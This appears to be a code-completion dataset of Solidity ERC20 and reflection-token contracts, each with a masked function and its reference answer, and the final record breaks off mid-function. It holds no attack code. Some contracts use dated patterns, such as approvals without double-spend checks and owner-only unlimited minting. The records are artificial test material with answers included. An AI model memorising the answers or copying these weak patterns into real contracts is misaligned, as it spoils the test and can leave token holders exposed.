contract SnowDCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "SDC"; name = "SnowD Coin"; decimals = 18; _totalSupply = 50000000000000000000000000; balances[0xA0c9d96fcbc76bF652da06C80d121Be22EB9691d] = _totalSupply; Transfer(address(0), 0xA0c9d96fcbc76bF652da06C80d121Be22EB9691d, _totalSupply);
function SnowDCoin() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SnowDCoin() public
39,445
NonRevocableWhitelistAdmin
isNonRevocableWhitelistAdmin
contract NonRevocableWhitelistAdmin { address private _nonRevocableWhitelistAdmin; event NewNonRevocableWhitelistAdmin(address indexed account); function setNonRevocableWhitelistAdmin(address account) public onlyNonRevocableWhitelistAdmin { _setNonRevocableWhitelistAdmin(account); } function isNonRevocableWhitelistAdmin(address account) public view returns (bool) {<FILL_FUNCTION_BODY> } function getNonRevocableWhitelistAdmin() public view returns (address) { return _nonRevocableWhitelistAdmin; } function _setNonRevocableWhitelistAdmin(address account) internal { require(account != _nonRevocableWhitelistAdmin, "New and old non-revocable whitelist admins cannot be the same"); require(account != address(0), "Cannot set the zero address as non-revocable whitelist admin"); _nonRevocableWhitelistAdmin = account; emit NewNonRevocableWhitelistAdmin(account); } modifier onlyRevocableWhitelistAdmin() { require(msg.sender != _nonRevocableWhitelistAdmin, "Only revocable whitelist admins are allowed"); _; } modifier onlyNonRevocableWhitelistAdmin() { require(msg.sender == _nonRevocableWhitelistAdmin, "Only non-revocable admins are allowed"); _; } }
contract NonRevocableWhitelistAdmin { address private _nonRevocableWhitelistAdmin; event NewNonRevocableWhitelistAdmin(address indexed account); function setNonRevocableWhitelistAdmin(address account) public onlyNonRevocableWhitelistAdmin { _setNonRevocableWhitelistAdmin(account); } <FILL_FUNCTION> function getNonRevocableWhitelistAdmin() public view returns (address) { return _nonRevocableWhitelistAdmin; } function _setNonRevocableWhitelistAdmin(address account) internal { require(account != _nonRevocableWhitelistAdmin, "New and old non-revocable whitelist admins cannot be the same"); require(account != address(0), "Cannot set the zero address as non-revocable whitelist admin"); _nonRevocableWhitelistAdmin = account; emit NewNonRevocableWhitelistAdmin(account); } modifier onlyRevocableWhitelistAdmin() { require(msg.sender != _nonRevocableWhitelistAdmin, "Only revocable whitelist admins are allowed"); _; } modifier onlyNonRevocableWhitelistAdmin() { require(msg.sender == _nonRevocableWhitelistAdmin, "Only non-revocable admins are allowed"); _; } }
return account == _nonRevocableWhitelistAdmin;
function isNonRevocableWhitelistAdmin(address account) public view returns (bool)
function isNonRevocableWhitelistAdmin(address account) public view returns (bool)
25,645
MilinfinityToken
null
contract MilinfinityToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "Milinfinity"; string public constant symbol = "MFY"; uint public constant decimals = 1; uint public deadline = now + 150 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 100 * 1 days; uint256 public totalSupply = 230000000000e1; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 500; // 0.005 Ether uint256 public tokensPerEth = 300000000e1; uint public target0drop = 20000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x88A97d97413a6c2290f748D34aa204619d96b1a1; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public {<FILL_FUNCTION_BODY> } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 5 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 1 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 300000e1; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
contract MilinfinityToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "Milinfinity"; string public constant symbol = "MFY"; uint public constant decimals = 1; uint public deadline = now + 150 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 100 * 1 days; uint256 public totalSupply = 230000000000e1; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 500; // 0.005 Ether uint256 public tokensPerEth = 300000000e1; uint public target0drop = 20000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x88A97d97413a6c2290f748D34aa204619d96b1a1; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 5 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 1 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 300000e1; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
uint256 teamFund = 30000000000e1; owner = msg.sender; distr(owner, teamFund);
constructor() public
constructor() public
62,186
Xoloitzcuintle
_transfer
contract Xoloitzcuintle is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 50000 * 10**7 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Xoloitzcuintle'; string private _symbol = 'Zolo'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 50000 * 10**7 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**5 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private {<FILL_FUNCTION_BODY> } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(4); //set reflection amount in mul() uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract Xoloitzcuintle is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 50000 * 10**7 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Xoloitzcuintle'; string private _symbol = 'Zolo'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 50000 * 10**7 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**5 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(4); //set reflection amount in mul() uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return 